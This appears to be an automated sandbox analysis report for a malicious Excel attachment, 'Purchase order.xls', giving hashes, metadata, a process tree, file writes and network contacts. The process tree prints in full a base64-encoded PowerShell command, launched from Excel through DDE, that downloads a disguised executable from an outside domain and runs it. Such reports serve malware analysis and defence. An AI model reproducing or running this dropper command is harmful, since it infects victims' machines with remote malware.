File name: | Purchase order.xls |
Full analysis: | https://app.any.run/tasks/7c37fa34-4311-40f1-ba6e-5d7f9eeea0b8 |
Verdict: | Malicious activity |
Analysis date: | November 15, 2018, 19:24:26 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: PC, Last Saved By: PC, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Nov 13 23:05:21 2018, Last Saved Time/Date: Tue Nov 13 23:05:23 2018, Security: 0 |
MD5: | D390247DB59B84F3D6C3C6507618EDFF |
SHA1: | C3ADBE4FB74EB4A8129C145474B598E0E07961C1 |
SHA256: | EA332ED69B0989DB50965C0D788E0729EC8D6320CEAB0843B4F8D010859DE829 |
SSDEEP: | 1536:WDZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAAyKm4XFQQqtz20Hghwh9AiIga35+Loe:WDZ+RwPONXoRjDhIcp0fDlaGGx+cL26o |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
Author: | PC |
---|---|
LastModifiedBy: | PC |
Software: | Microsoft Excel |
CreateDate: | 2018:11:13 23:05:21 |
ModifyDate: | 2018:11:13 23:05:23 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
AppVersion: | 12 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: |
|
HeadingPairs: |
|
CompObjUserTypeLen: | 38 |
CompObjUserType: | Microsoft Office Excel 2003 Worksheet |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3064 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
3276 | cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAUQBSAHIASQAzAE4ASQBlAFkARABaAGgAbABnACAAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAWgBQAEcANAA4AFIAQQB0ADMARABlAF8ATgBLAFkARgBNADYAQwBvAEMASgBHAG4AdQBQAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABXADkAUwBOAHEALgBlAHgAZQAnADsADQAKAFEAUgByAEkAMwBOAEkAZQBZAEQAWgBoAGwAZwAgACcAaAB0AHQAcABzADoALwAvAGEALgBkAG8AawBvAC4AbQBvAGUALwBuAG0AZgBvAG8AeAAuAGoAcABnACcAIAAkAFoAUABHADQAOABSAEEAdAAzAEQAZQBfAE4ASwBZAEYATQA2AEMAbwBDAEoARwBuAHUAUAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA== | C:\Windows\system32\cMD.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3968 | PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAUQBSAHIASQAzAE4ASQBlAFkARABaAGgAbABnACAAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAZABhAFgAZQBRAFMAOAB3AGEAMgBjADYANABjAHYAdQBMAHAAMQBDAHMAVQBWAHMAXwAgACwAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFEAYwBjAG4AVABfAGcAQQBlAFUAWAA4AGMAQgA1AHMAZAB6AHkAcAA2AFQAbwBzACAAKQA7ACAAfQANAAoAdAByAHkAewANAAoADQAKACQAWgBQAEcANAA4AFIAQQB0ADMARABlAF8ATgBLAFkARgBNADYAQwBvAEMASgBHAG4AdQBQAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABXADkAUwBOAHEALgBlAHgAZQAnADsADQAKAFEAUgByAEkAMwBOAEkAZQBZAEQAWgBoAGwAZwAgACcAaAB0AHQAcABzADoALwAvAGEALgBkAG8AawBvAC4AbQBvAGUALwBuAG0AZgBvAG8AeAAuAGoAcABnACcAIAAkAFoAUABHADQAOABSAEEAdAAzAEQAZQBfAE4ASwBZAEYATQA2AEMAbwBDAEoARwBuAHUAUAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cMD.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3064 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR95F8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3968 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FDKHVQAC79RTCN7BKCPJ.temp | — | |
MD5:— | SHA256:— | |||
3968 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:43B01A05BB940A9D5D0BE924AB203E0A | SHA256:B9E77DF43925FFAABEEDF95F08B40DD80A8E633D77929AB4F6AD45146332304B | |||
3968 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF109f4f.TMP | binary | |
MD5:43B01A05BB940A9D5D0BE924AB203E0A | SHA256:B9E77DF43925FFAABEEDF95F08B40DD80A8E633D77929AB4F6AD45146332304B |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3968 | powershell.exe | 185.83.214.16:443 | a.doko.moe | — | PT | suspicious |
Domain | IP | Reputation |
---|---|---|
a.doko.moe |
| unknown |